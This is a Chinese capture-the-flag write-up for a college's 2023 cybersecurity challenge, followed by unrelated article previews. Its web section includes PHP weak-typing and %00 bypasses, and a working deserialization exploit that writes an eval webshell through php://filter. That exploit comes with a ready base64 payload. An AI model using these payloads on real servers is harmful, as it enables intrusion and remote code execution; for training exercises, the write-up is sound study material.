WP光电信息学院2023年网络安全季度挑战赛-测试赛

签个到就跑WP

Misc

MISC-没爱了,下一个

下载附件压缩包解压之后,获得一个流量包文件
image.png
使用wireShark打开流量包,Ctrl + F 搜索flag{即可获得flag
image.png

flag{Good_b0y_W3ll_Done}

MISC-送你一朵小花花

下载附件压缩包解压之后,获得一个JPG图片文件
image.png
用010打开查看,在文件尾部发现Unicode编码
image.png
使用随便一个在线解Unicode编码的网站解密https://c.runoob.com/front-end/3602/
即可获得flag
image.png

key{you are right}

MISC-镜子里面的世界

考察LSB隐写
image.png
image.png
image.png
image.png

flag{st3g0_saurus_wr3cks}

Web

WEB_workhard

参考博客:

  • http://t.csdnimg.cn/GzmwA
  • https://www.cnblogs.com/baifan2618/p/7815090.html
  • https://www.jianshu.com/p/f6447e2e35e3

打开后什么也没有,查看源代码,发现一个txt,访问后发现php代码。典型的代码审计,考查了几个函数

  1. -eregi
eregi — 不区分大小写的正则表达式匹配
int eregi( string $pattern, string $string[, array &$regs] )本函数和 ereg() 完全相同,只除了在匹配字母字符时忽略大小写的区别。 
Example #1 eregi() 例子
<?php
$string = 'XYZ';if (eregi('z', $string)) {echo "'$string' contains a 'z' or 'Z'!";
}
?> 

2.strlen()计算字符长度。
3.file_get_contents(),将文本以字符串的形式输出。
4.stripos — 查找字符串首次出现的位置(不区分大小写)

if(!$_GET['id'])//id不能为零
{header('Location: index.php?id=1');exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))//a中不能有点
{echo 'Hahahahahaha';return ;
}
$data = @file_get_contents($a,'r');//a要为一个文件,并且这个文件要有 “1112 is a nice lab!”这句话
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 /*b要长度大于5*/and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4/*第一个数字不能为4*/)
{require("flag.txt");
}
else
{print "work harder!harder!harder!";
}

所以题的大致意思就是,传递三个参数,id不能为零,但是要等于零,a要为一个文件,并且这个文件要有 “1112 is a nice lab!”这句话,b要长度大于5,第一个数字不能为4。

  • id这个绕过需要用弱类型来解决 id=‘a’
  • a这个绕过需要用到php伪协议,a=php://input或者 a=data:,1112 is a nice lab!
  • b这个绕过需要用到%00截断,当eregi这个函数遇到%00时,就不会再继续比较了。
  • 给出payload,体会一下

然后获得flag

WEB_login_wc

注册一个admin管理员账号登录即可

WEB_simple_ser

image.png
参考:https://zhuanlan.zhihu.com/p/51628607
查考php反序列化,任意文件写入,函数绕过
1.打开题目进行源码审计,通过代码可以看出考点应为反序列化的漏洞,通过fileput函数,进行文件的写入

<?php 
class cls1{ var $cls; var $arr; function show(){ show_source(__FILE__); } function __wakeup(){ foreach($this->arr as $k => $v){ echo $this->cls->$v; } } 
} class cls2{ var $filename = 'hello.php'; var $txt = ''; function __get($key){ if($key == 'fileput'){ return $this->fileput(); }else{ return '<p>'.htmlspecialchars($key).'</p>'; } } function fileput(){ if(    strpos($this->filename,'../') !== false || strpos($this->filename,'\\') !== false      ) die(); $content = '<?php die(\'stupid\'); ?>'; $content .= $this->txt; file_put_contents($this->filename, $content); return htmlspecialchars($content); } } if(!empty($_POST)){ $cls = base64_decode($_POST['ser']); $instance = unserialize($cls); 
}else{ $a = new cls1(); $a->show(); 
}

2.构造反序列化代码

<?php
class cls1{var $cls;var $arr;function __construct(){$this->cls = new cls2();$this->arr = array('fileput'=>'fileput');}
}class cls2{var $filename = 'e.php';var $txt = '<?php phpinfo();';
}
print_r(base64_encode(serialize(new cls1())));

3.使用该代码传入post的ser参数,可以在服务器当前目录下生成e.php文件,但是应为程序会写入die()函数,所以 并没有执行我们构造的代码
4.我们可以通过使用php://filter来绕过这个限制,这里也可以使用其他方法。
利用php://filter/write=convert.base64-decode/resource=e.php就可以以base64的形式向写入e.php。这样就可以将前面的die变成无效字符,从而执行我们想执行的代码

  • 具体payload如下
<?php
class cls1{var $cls;var $arr;function __construct(){$this->cls = new cls2();$this->arr = array('fileput'=>'fileput');}
}class cls2{var $filename ;var $txt;function __construct(){$this->filename = 'php://filter/write=convert.base64-decode/resource=e.php';$this->txt = '<?php @eval($_POST["1"]);';$this->txt = base64_encode($this->txt);}
}print_r(base64_encode(serialize(new cls1())));
Tzo0OiJjbHMxIjoyOntzOjM6ImNscyI7Tzo0OiJjbHMyIjoyOntzOjg6ImZpbGVuYW1lIjtzOjU1OiJwaHA6Ly9maWx0ZXIvd3JpdGU9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWUucGhwIjtzOjM6InR4dCI7czo0MDoiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lKcFkzRnBZM0VpWFNrNyI7fXM6MzoiYXJyIjthOjE6e3M6NzoiZmlsZXB1dCI7czo3OiJmaWxlcHV0Ijt9fQ==

6.然后webshell连接工具连上,就可以在根目录看到flag了
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/143215.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

普通测径仪升级的智能测径仪 增添11大实用功能!

普通测径仪能对各种钢材进行非接触式的外径及椭圆度在线检测&#xff0c;测量数据准确且无损&#xff0c;可测、监测、超差提示、系统分析等。在此基础上&#xff0c;为测径仪进行了进一步升级制成智能测径仪&#xff0c;为其增添更多智能化模块&#xff0c;让其使用更加方便。…

element 周选择器el-date-picker

2023.11.13今天我学习了在使用element 周选择器的时候&#xff0c;我们会发现默认的时间选择为星期日到下一个星期一&#xff0c;如图&#xff1a; 我们需要改成显示星期一到星期天&#xff0c;只需要加一行代码&#xff1a;picker-options <el-date-pickertype"week&…

【postgresql】 代替mysql的if函数

在postgresql 中用 COALESCE 来代替mysql中的 if &#xff1b; COALEASE 函数的语法如下&#xff1a; COALESCE(expression_1, expression_2, expression_3, ...) COALESCE 函数接受多个参数&#xff0c;并且返回第一个非空的参数值&#xff1b; 如果所有参数都为空值&…

一本了解生成式人工智能

上周&#xff0c;发了一篇关于大语言模型图数据库技术相结合的文章&#xff0c;引起了很多朋友的兴趣。当然了&#xff0c;这项技术本身就让俺们很兴奋&#xff0c;比如我就是从事图研发的&#xff0c;当然会非常关注它在图领域的应用与相互促就啦。 纵观人类文明历史&#xff…

【论文精读2】R-MVSNet

R-MVSNet【递归多视图立体网络】&#xff0c;论文全名&#xff1a;“Recurrent MVSNet for High-resolution Multi-view Stereo Depth Inference”&#xff0c;CVPR 2019(CCF A) 在MVSNet的基础上做了一些改进&#xff0c;主要解决的问题是代价体正则化&#xff08;Cost Volume…

三、Eureka注册中心

目录 一、作用及调用方式 二、搭建eureka注册中心 三、注册user-service和order-service 四、新增实例 五、服务拉取 六、总结 一、作用及调用方式 在服务提供者启动时&#xff0c;它会向eureka注册中心提供自己的信息&#xff0c;并每30秒进行一次刷新eureka注册中心保存…

ping: www.baidu.com: Name or service not known解决办法

解决服务器无法ping通外网问题 1、问题描述&#xff1a; 配置了网卡信息&#xff0c;发现还是无法访问外网&#xff0c;并报ping: www.baidu.com: Name or service not known信息 2、问题原因&#xff1a; 这就是外网没开通好 3、解决方法&#xff1a; 修改网卡文件&#xff…

易货:一种古老而有效的商业模式

在当今的商业世界中&#xff0c;我们常常听到关于电子商务、互联网和社交媒体等新技术的讨论。然而&#xff0c;尽管这些新技术为我们的日常生活带来了许多便利&#xff0c;但它们并没有完全取代传统的商业模式。其中&#xff0c;易货模式是一种古老而有效的商业模式&#xff0…

Python爬虫程序网络请求及内容解析

以下是一个简单的Python爬虫程序&#xff0c;用于爬取商户的内容。这个程序使用了requests和BeautifulSoup库来进行网络请求和内容解析。 import requests from bs4 import BeautifulSoup# 爬虫爬虫IP信息 proxy_host duoip proxy_port 8000# 请求URL url 目标网站# 创建一个…

docker-compose 部署 MySQL 8

目录 前言MySQL 配置文件(my.cnf)docker-compose.yml安装卸载 前言 Windows/Linux 系统通过 docker-compose 部署 MySQL8.0。 MySQL 配置文件(my.cnf) # 服务端参数配置 [mysqld] usermysql # MySQL启动用户 default-storage-engineINNODB # 创建新表时…

HTTP代理与SOCKS5代理,有什么区别?

在数字通信领域&#xff0c;数据安全和匿名性都是非常重要的指标。互联网的不断发展催生了几种协议&#xff0c;每种协议都有独特的优势和挑战。其中&#xff0c;SOCKS5 代理、HTTP代理最为广泛使用&#xff0c;下面给大家一起讨论&#xff0c;HTTP代理与SOCKS5代理&#xff0c…

POE也收费了

一直通过POE在用chatgpt&#xff0c;今天下午发现要收费了…

开发知识点-Vue-Electron

Electron ElectronVue打包.exe桌面程序 ElectronVue打包.exe桌面程序 为了不报错 卸载以前的脚手架 npm uninstall -g vue-cli安装最新版脚手架 cnpm install -g vue/cli创建一个 vue 随便起个名 vue create electron-vue-example (随便起个名字electron-vue-example)进入 创建…

ai语音电销机器人电销行业要怎么降低封号率?

工信部对电话营销电话的管控越来越严格&#xff0c;企业电销行业的发展受到了很多限制&#xff0c;因为电话销售人员在进行销售工作的时候&#xff0c;经常会因为各种原因触发封号机制&#xff0c;导致手机卡号被封&#xff0c;那企业电销行业要怎么降低封号率&#xff1f; 很多…

vue+iView实现下载zip文件导出多个excel表格

1&#xff0c;需求&#xff1a;在vue项目中&#xff0c;实现分月份导出多个Excel表格。 点击导出&#xff0c;下载zip文件&#xff0c;解压出多张表数据。 2&#xff0c;关键代码&#xff1a; <Button class"export button-style button-space" click"ex…

ssm823基于ssm的心理预约咨询管理系统的设计与实现+vue

ssm823基于ssm的心理预约咨询管理系统的设计与实现vue 交流学习&#xff1a; 更多项目&#xff1a; 全网最全的Java成品项目列表 https://docs.qq.com/doc/DUXdsVlhIdVlsemdX 演示 项目功能演示&#xff1a; ————————————————

【QT HTTP】使用QtNetwork模块制作基于HTTP请求的C/S架构

目录 0 引言1 HTTP基本知识1.1 请求类型1.2 HTTP请求报文格式1.3 HTTP响应报文格式1.4 拓展&#xff1a;GET vs POST 请求方法GET请求请求报文&#xff1a;响应报文 POST请求请求报文响应报文 其他注意事项示例&#xff1a;GET请求示例POST请求示例 2 实战2.1 QtNetwork模块介绍…

Kafka 的应用场景

Kafka 是一个开源的分布式流式平台&#xff0c;它可以处理大量的实时数据&#xff0c;并提供高吞吐量&#xff0c;低延迟&#xff0c;高可靠性和高可扩展性。 Kafka 最初是为分布式系统中海量日志处理而设计的。它可以通过持久化功能将消息保存到磁盘&#xff0c;并让消费者按…

Express基本接口开发-入门学习与后续进阶

前提推荐 任何一个新的知识都是从文档看起&#xff0c;因此express官方文档示例有必要去学习一遍。 推荐看&#xff1a; 推荐入门指南-路由指南-中间件 看完这几个内容之后心里大概知道express有些什么东西了&#xff0c;然后现在就可以去练习了 注意&#xff1a;更多示例-代…

安全区域边界(设备和技术注解)

网络安全等级保护相关标准参考《GB/T 22239-2019 网络安全等级保护基本要求》和《GB/T 28448-2019 网络安全等级保护测评要求》 密码应用安全性相关标准参考《GB/T 39786-2021 信息系统密码应用基本要求》和《GM/T 0115-2021 信息系统密码应用测评要求》 1边界防护 1.1应保证跨…